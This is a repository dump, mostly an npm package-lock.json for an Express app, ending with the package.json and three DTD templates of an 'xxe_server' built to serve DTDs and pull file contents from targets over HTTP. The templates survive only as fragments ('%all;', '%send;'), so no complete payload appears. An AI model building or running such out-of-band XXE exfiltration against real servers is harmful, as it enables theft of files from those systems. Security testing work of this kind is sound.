"brace-expansion": { 91 | "version": "1.1.11", 92 | "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", 93 | "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", 94 | "requires": { 95 | "balanced-match": "^1.0.0", 96 | "concat-map": "0.0.1" 97 | } 98 | }, 99 | "bytes": { 100 | "version": "3.0.0", 101 | "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", 102 | "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=" 103 | }, 104 | "commander": { 105 | "version": "2.17.1", 106 | "resolved": "https://registry.npmjs.org/commander/-/commander-2.17.1.tgz", 107 | "integrity": "sha512-wPMUt6FnH2yzG95SA6mzjQOEKUU3aLaDEmzs1ti+1E9h+CsrZghRlqEM/EJ4KscsQVG8uNN4uVreUeT8+drlgg==", 108 | "optional": true 109 | }, 110 | "concat-map": { 111 | "version": "0.0.1", 112 | "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", 113 | "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" 114 | }, 115 | "content-disposition": { 116 | "version": "0.5.2", 117 | "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.2.tgz", 118 | "integrity": "sha1-DPaLud318r55YcOoUXjLhdunjLQ=" 119 | }, 120 | "content-type": { 121 | "version": "1.0.4", 122 | "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", 123 | "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" 124 | }, 125 | "cookie": { 126 | "version": "0.3.1", 127 | "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.3.1.tgz", 128 | "integrity": "sha1-5+Ch+e9DtMi6klxcWpboBtFoc7s=" 129 | }, 130 | "cookie-signature": { 131 | "version": "1.0.6", 132 | "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", 133 | "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" 134 | }, 135 | "debug": { 136 | "version": "2.6.9", 137 | "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", 138 | "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", 139 | "requires": { 140 | "ms": "2.0.0" 141 | } 142 | }, 143 | "define-properties": { 144 | "version": "1.1.3", 145 | "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", 146 | "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", 147 | "requires": { 148 | "object-keys": "^1.0.12" 149 | } 150 | }, 151 | "depd": { 152 | "version": "1.1.1", 153 | "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz", 154 | "integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k=" 155 | }, 156 | "destroy": { 157 | "version": "1.0.4", 158 | "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", 159 | "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" 160 | }, 161 | "ee-first": { 162 | "version": "1.1.1", 163 | "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", 164 | "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" 165 | }, 166 | "encodeurl": { 167 | "version": "1.0.2", 168 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", 169 | "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=" 170 | }, 171 | "escape-html": { 172 | "version": "1.0.3", 173 | "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", 174 | "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" 175 | }, 176 | "etag": { 177 | "version": "1.8.1", 178 | "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", 179 | "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=" 180 | }, 181 | "express": { 182 | "version": "4.16.4", 183 | "resolved": "https://registry.npmjs.org/express/-/express-4.16.4.tgz", 184 | "integrity": "sha512-j12Uuyb4FMrd/qQAm6uCHAkPtO8FDTRJZBDd5D2KOL2eLaz1yUNdUB/NOIyq0iU4q4cFarsUCrnFDPBcnksuOg==", 185 | "requires": { 186 | "accepts": "~1.3.5", 187 | "array-flatten": "1.1.1", 188 | "body-parser": "1.18.3", 189 | "content-disposition": "0.5.2", 190 | "content-type": "~1.0.4", 191 | "cookie": "0.3.1", 192 | "cookie-signature": "1.0.6", 193 | "debug": "2.6.9", 194 | "depd": "~1.1.2", 195 | "encodeurl": "~1.0.2", 196 | "escape-html": "~1.0.3", 197 | "etag": "~1.8.1", 198 | "finalhandler": "1.1.1", 199 | "fresh": "0.5.2", 200 | "merge-descriptors": "1.0.1", 201 | "methods": "~1.1.2", 202 | "on-finished": "~2.3.0", 203 | "parseurl": "~1.3.2", 204 | "path-to-regexp": "0.1.7", 205 | "proxy-addr": "~2.0.4", 206 | "qs": "6.5.2", 207 | "range-parser": "~1.2.0", 208 | "safe-buffer": "5.1.2", 209 | "send": "0.16.2", 210 | "serve-static": "1.13.2", 211 | "setprototypeof": "1.1.0", 212 | "statuses": "~1.4.0", 213 | "type-is": "~1.6.16", 214 | "utils-merge": "1.0.1", 215 | "vary": "~1.1.2" 216 | }, 217 | "dependencies": { 218 | "depd": { 219 | "version": "1.1.2", 220 | "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", 221 | "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" 222 | }, 223 | "setprototypeof": { 224 | "version": "1.1.0", 225 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", 226 | "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" 227 | }, 228 | "statuses": { 229 | "version": "1.4.0", 230 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", 231 | "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==" 232 | } 233 | } 234 | }, 235 | "express-handlebars": { 236 | "version": "3.0.0", 237 | "resolved": "https://registry.npmjs.org/express-handlebars/-/express-handlebars-3.0.0.tgz", 238 | "integrity": "sha1-gKBwu4GbCeSvLKbQeA91zgXnXC8=", 239 | "requires": { 240 | "glob": "^6.0.4", 241 | "graceful-fs": "^4.1.2", 242 | "handlebars": "^4.0.5", 243 | "object.assign": "^4.0.3", 244 | "promise": "^7.0.0" 245 | } 246 | }, 247 | "finalhandler": { 248 | "version": "1.1.1", 249 | "resolved": "http://registry.npmjs.org/finalhandler/-/finalhandler-1.1.1.tgz", 250 | "integrity": "sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg==", 251 | "requires": { 252 | "debug": "2.6.9", 253 | "encodeurl": "~1.0.2", 254 | "escape-html": "~1.0.3", 255 | "on-finished": "~2.3.0", 256 | "parseurl": "~1.3.2", 257 | "statuses": "~1.4.0", 258 | "unpipe": "~1.0.0" 259 | }, 260 | "dependencies": { 261 | "statuses": { 262 | "version": "1.4.0", 263 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", 264 | "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==" 265 | } 266 | } 267 | }, 268 | "forwarded": { 269 | "version": "0.1.2", 270 | "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz", 271 | "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=" 272 | }, 273 | "fresh": { 274 | "version": "0.5.2", 275 | "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", 276 | "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=" 277 | }, 278 | "function-bind": { 279 | "version": "1.1.1", 280 | "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", 281 | "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" 282 | }, 283 | "glob": { 284 | "version": "6.0.4", 285 | "resolved": "https://registry.npmjs.org/glob/-/glob-6.0.4.tgz", 286 | "integrity": "sha1-DwiGD2oVUSey+t1PnOJLGqtuTSI=", 287 | "requires": { 288 | "inflight": "^1.0.4", 289 | "inherits": "2", 290 | "minimatch": "2 || 3", 291 | "once": "^1.3.0", 292 | "path-is-absolute": "^1.0.0" 293 | } 294 | }, 295 | "graceful-fs": { 296 | "version": "4.1.15", 297 | "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.15.tgz", 298 | "integrity": "sha512-6uHUhOPEBgQ24HM+r6b/QwWfZq+yiFcipKFrOFiBEnWdy5sdzYoi+pJeQaPI5qOLRFqWmAXUPQNsielzdLoecA==" 299 | }, 300 | "handlebars": { 301 | "version": "4.5.3", 302 | "resolved": "https://registry.npmjs.org/handlebars/-/handlebars-4.5.3.tgz", 303 | "integrity": "sha512-3yPecJoJHK/4c6aZhSvxOyG4vJKDshV36VHp0iVCDVh7o9w2vwi3NSnL2MMPj3YdduqaBcu7cGbggJQM0br9xA==", 304 | "requires": { 305 | "neo-async": "^2.6.0", 306 | "optimist": "^0.6.1", 307 | "source-map": "^0.6.1", 308 | "uglify-js": "^3.1.4" 309 | } 310 | }, 311 | "has-symbols": { 312 | "version": "1.0.0", 313 | "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.0.tgz", 314 | "integrity": "sha1-uhqPGvKg/DllD1yFA2dwQSIGO0Q=" 315 | }, 316 | "http-errors": { 317 | "version": "1.6.2", 318 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz", 319 | "integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=", 320 | "requires": { 321 | "depd": "1.1.1", 322 | "inherits": "2.0.3", 323 | "setprototypeof": "1.0.3", 324 | "statuses": ">= 1.3.1 < 2" 325 | } 326 | }, 327 | "inflight": { 328 | "version": "1.0.6", 329 | "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", 330 | "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", 331 | "requires": { 332 | "once": "^1.3.0", 333 | "wrappy": "1" 334 | } 335 | }, 336 | "inherits": { 337 | "version": "2.0.3", 338 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", 339 | "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" 340 | }, 341 | "ipaddr.js": { 342 | "version": "1.8.0", 343 | "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.8.0.tgz", 344 | "integrity": "sha1-6qM9bd16zo9/b+DJygRA5wZzix4=" 345 | }, 346 | "is_js": { 347 | "version": "0.9.0", 348 | "resolved": "https://registry.npmjs.org/is_js/-/is_js-0.9.0.tgz", 349 | "integrity": "sha1-CrlFQFArp6+iTIVqqYVWFmnpxS0=" 350 | }, 351 | "media-typer": { 352 | "version": "0.3.0", 353 | "resolved": "http://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", 354 | "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" 355 | }, 356 | "merge-descriptors": { 357 | "version": "1.0.1", 358 | "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", 359 | "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" 360 | }, 361 | "methods": { 362 | "version": "1.1.2", 363 | "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", 364 | "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" 365 | }, 366 | "mime": { 367 | "version": "1.4.1", 368 | "resolved": "https://registry.npmjs.org/mime/-/mime-1.4.1.tgz", 369 | "integrity": "sha512-KI1+qOZu5DcW6wayYHSzR/tXKCDC5Om4s1z2QJjDULzLcmf3DvzS7oluY4HCTrc+9FiKmWUgeNLg7W3uIQvxtQ==" 370 | }, 371 | "mime-db": { 372 | "version": "1.37.0", 373 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.37.0.tgz", 374 | "integrity": "sha512-R3C4db6bgQhlIhPU48fUtdVmKnflq+hRdad7IyKhtFj06VPNVdk2RhiYL3UjQIlso8L+YxAtFkobT0VK+S/ybg==" 375 | }, 376 | "mime-types": { 377 | "version": "2.1.21", 378 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.21.tgz", 379 | "integrity": "sha512-3iL6DbwpyLzjR3xHSFNFeb9Nz/M8WDkX33t1GFQnFOllWk8pOrh/LSrB5OXlnlW5P9LH73X6loW/eogc+F5lJg==", 380 | "requires": { 381 | "mime-db": "~1.37.0" 382 | } 383 | }, 384 | "minimatch": { 385 | "version": "3.0.4", 386 | "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", 387 | "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", 388 | "requires": { 389 | "brace-expansion": "^1.1.7" 390 | } 391 | }, 392 | "minimist": { 393 | "version": "0.0.10", 394 | "resolved": "http://registry.npmjs.org/minimist/-/minimist-0.0.10.tgz", 395 | "integrity": "sha1-3j+YVD2/lggr5IrRoMfNqDYwHc8=" 396 | }, 397 | "ms": { 398 | "version": "2.0.0", 399 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", 400 | "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" 401 | }, 402 | "negotiator": { 403 | "version": "0.6.1", 404 | "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.1.tgz", 405 | "integrity": "sha1-KzJxhOiZIQEXeyhWP7XnECrNDKk=" 406 | }, 407 | "neo-async": { 408 | "version": "2.6.1", 409 | "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.1.tgz", 410 | "integrity": "sha512-iyam8fBuCUpWeKPGpaNMetEocMt364qkCsfL9JuhjXX6dRnguRVOfk2GZaDpPjcOKiiXCPINZC1GczQ7iTq3Zw==" 411 | }, 412 | "object-keys": { 413 | "version": "1.0.12", 414 | "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.0.12.tgz", 415 | "integrity": "sha512-FTMyFUm2wBcGHnH2eXmz7tC6IwlqQZ6mVZ+6dm6vZ4IQIHjs6FdNsQBuKGPuUUUY6NfJw2PshC08Tn6LzLDOag==" 416 | }, 417 | "object.assign": { 418 | "version": "4.1.0", 419 | "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz", 420 | "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", 421 | "requires": { 422 | "define-properties": "^1.1.2", 423 | "function-bind": "^1.1.1", 424 | "has-symbols": "^1.0.0", 425 | "object-keys": "^1.0.11" 426 | } 427 | }, 428 | "on-finished": { 429 | "version": "2.3.0", 430 | "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", 431 | "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", 432 | "requires": { 433 | "ee-first": "1.1.1" 434 | } 435 | }, 436 | "once": { 437 | "version": "1.4.0", 438 | "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", 439 | "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", 440 | "requires": { 441 | "wrappy": "1" 442 | } 443 | }, 444 | "optimist": { 445 | "version": "0.6.1", 446 | "resolved": "https://registry.npmjs.org/optimist/-/optimist-0.6.1.tgz", 447 | "integrity": "sha1-2j6nRob6IaGaERwybpDrFaAZZoY=", 448 | "requires": { 449 | "minimist": "~0.0.1", 450 | "wordwrap": "~0.0.2" 451 | } 452 | }, 453 | "parseurl": { 454 | "version": "1.3.2", 455 | "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.2.tgz", 456 | "integrity": "sha1-/CidTtiZMRlGDBViUyYs3I3mW/M=" 457 | }, 458 | "path-is-absolute": { 459 | "version": "1.0.1", 460 | "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", 461 | "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" 462 | }, 463 | "path-to-regexp": { 464 | "version": "0.1.7", 465 | "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", 466 | "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" 467 | }, 468 | "promise": { 469 | "version": "7.3.1", 470 | "resolved": "https://registry.npmjs.org/promise/-/promise-7.3.1.tgz", 471 | "integrity": "sha512-nolQXZ/4L+bP/UGlkfaIujX9BKxGwmQ9OT4mOt5yvy8iK1h3wqTEJCijzGANTCCl9nWjY41juyAn2K3Q1hLLTg==", 472 | "requires": { 473 | "asap": "~2.0.3" 474 | } 475 | }, 476 | "proxy-addr": { 477 | "version": "2.0.4", 478 | "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.4.tgz", 479 | "integrity": "sha512-5erio2h9jp5CHGwcybmxmVqHmnCBZeewlfJ0pex+UW7Qny7OOZXTtH56TGNyBizkgiOwhJtMKrVzDTeKcySZwA==", 480 | "requires": { 481 | "forwarded": "~0.1.2", 482 | "ipaddr.js": "1.8.0" 483 | } 484 | }, 485 | "qs": { 486 | "version": "6.5.2", 487 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", 488 | "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" 489 | }, 490 | "range-parser": { 491 | "version": "1.2.0", 492 | "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.0.tgz", 493 | "integrity": "sha1-9JvmtIeJTdxA3MlKMi9hEJLgDV4=" 494 | }, 495 | "request-ip": { 496 | "version": "2.1.3", 497 | "resolved": "https://registry.npmjs.org/request-ip/-/request-ip-2.1.3.tgz", 498 | "integrity": "sha512-J3qdE/IhVM3BXkwMIVO4yFrvhJlU3H7JH16+6yHucadT4fePnR8dyh+vEs6FIx0S2x5TCt2ptiPfHcn0sqhbYQ==", 499 | "requires": { 500 | "is_js": "^0.9.0" 501 | } 502 | }, 503 | "safe-buffer": { 504 | "version": "5.1.2", 505 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", 506 | "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" 507 | }, 508 | "safer-buffer": { 509 | "version": "2.1.2", 510 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", 511 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" 512 | }, 513 | "send": { 514 | "version": "0.16.2", 515 | "resolved": "https://registry.npmjs.org/send/-/send-0.16.2.tgz", 516 | "integrity": "sha512-E64YFPUssFHEFBvpbbjr44NCLtI1AohxQ8ZSiJjQLskAdKuriYEP6VyGEsRDH8ScozGpkaX1BGvhanqCwkcEZw==", 517 | "requires": { 518 | "debug": "2.6.9", 519 | "depd": "~1.1.2", 520 | "destroy": "~1.0.4", 521 | "encodeurl": "~1.0.2", 522 | "escape-html": "~1.0.3", 523 | "etag": "~1.8.1", 524 | "fresh": "0.5.2", 525 | "http-errors": "~1.6.2", 526 | "mime": "1.4.1", 527 | "ms": "2.0.0", 528 | "on-finished": "~2.3.0", 529 | "range-parser": "~1.2.0", 530 | "statuses": "~1.4.0" 531 | }, 532 | "dependencies": { 533 | "depd": { 534 | "version": "1.1.2", 535 | "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", 536 | "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" 537 | }, 538 | "statuses": { 539 | "version": "1.4.0", 540 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", 541 | "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==" 542 | } 543 | } 544 | }, 545 | "serve-static": { 546 | "version": "1.13.2", 547 | "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.13.2.tgz", 548 | "integrity": "sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw==", 549 | "requires": { 550 | "encodeurl": "~1.0.2", 551 | "escape-html": "~1.0.3", 552 | "parseurl": "~1.3.2", 553 | "send": "0.16.2" 554 | } 555 | }, 556 | "setprototypeof": { 557 | "version": "1.0.3", 558 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz", 559 | "integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ=" 560 | }, 561 | "slack-webhook": { 562 | "version": "1.0.0", 563 | "resolved": "https://registry.npmjs.org/slack-webhook/-/slack-webhook-1.0.0.tgz", 564 | "integrity": "sha1-8K0bc/J4oU6KsUG5VV9BWdVgXzg=" 565 | }, 566 | "source-map": { 567 | "version": "0.6.1", 568 | "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", 569 | "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==" 570 | }, 571 | "statuses": { 572 | "version": "1.5.0", 573 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", 574 | "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" 575 | }, 576 | "type-is": { 577 | "version": "1.6.16", 578 | "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.16.tgz", 579 | "integrity": "sha512-HRkVv/5qY2G6I8iab9cI7v1bOIdhm94dVjQCPFElW9W+3GeDOSHmy2EBYe4VTApuzolPcmgFTN3ftVJRKR2J9Q==", 580 | "requires": { 581 | "media-typer": "0.3.0", 582 | "mime-types": "~2.1.18" 583 | } 584 | }, 585 | "uglify-js": { 586 | "version": "3.4.9", 587 | "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.9.tgz", 588 | "integrity": "sha512-8CJsbKOtEbnJsTyv6LE6m6ZKniqMiFWmm9sRbopbkGs3gMPPfd3Fh8iIA4Ykv5MgaTbqHr4BaoGLJLZNhsrW1Q==", 589 | "optional": true, 590 | "requires": { 591 | "commander": "~2.17.1", 592 | "source-map": "~0.6.1" 593 | } 594 | }, 595 | "unpipe": { 596 | "version": "1.0.0", 597 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", 598 | "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" 599 | }, 600 | "utils-merge": { 601 | "version": "1.0.1", 602 | "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", 603 | "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=" 604 | }, 605 | "vary": { 606 | "version": "1.1.2", 607 | "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", 608 | "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=" 609 | }, 610 | "wordwrap": { 611 | "version": "0.0.3", 612 | "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-0.0.3.tgz", 613 | "integrity": "sha1-o9XabNXAvAAI03I0u68b7WMFkQc=" 614 | }, 615 | "wrappy": { 616 | "version": "1.0.2", 617 | "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", 618 | "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" 619 | } 620 | } 621 | } 622 | -------------------------------------------------------------------------------- /xxe_server/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "xxe_server", 3 | "version": "1.0.0", 4 | "description": "Serverless function to serve up DTD and extract file contents over HTTP", 5 | "main": "server.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "Ronnie Flathers (@ropnop)", 10 | "license": "ISC", 11 | "dependencies": { 12 | "express": "^4.16.4", 13 | "express-handlebars": "^3.0.0", 14 | "request-ip": "^2.1.3", 15 | "slack-webhook": "^1.0.0" 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /xxe_server/templates/dtd.hbs: -------------------------------------------------------------------------------- 1 | "> 2 | %all; 3 | %send; 4 | -------------------------------------------------------------------------------- /xxe_server/templates/dtd_php_file.hbs: -------------------------------------------------------------------------------- 1 | 2 | "> 3 | %all; 4 | %send; 5 | -------------------------------------------------------------------------------- /xxe_server/templates/dtd_with_file.hbs: -------------------------------------------------------------------------------- 1 | 2 | "> 3 | %all; 4 | %send; 5 | --------------------------------------------------------------------------------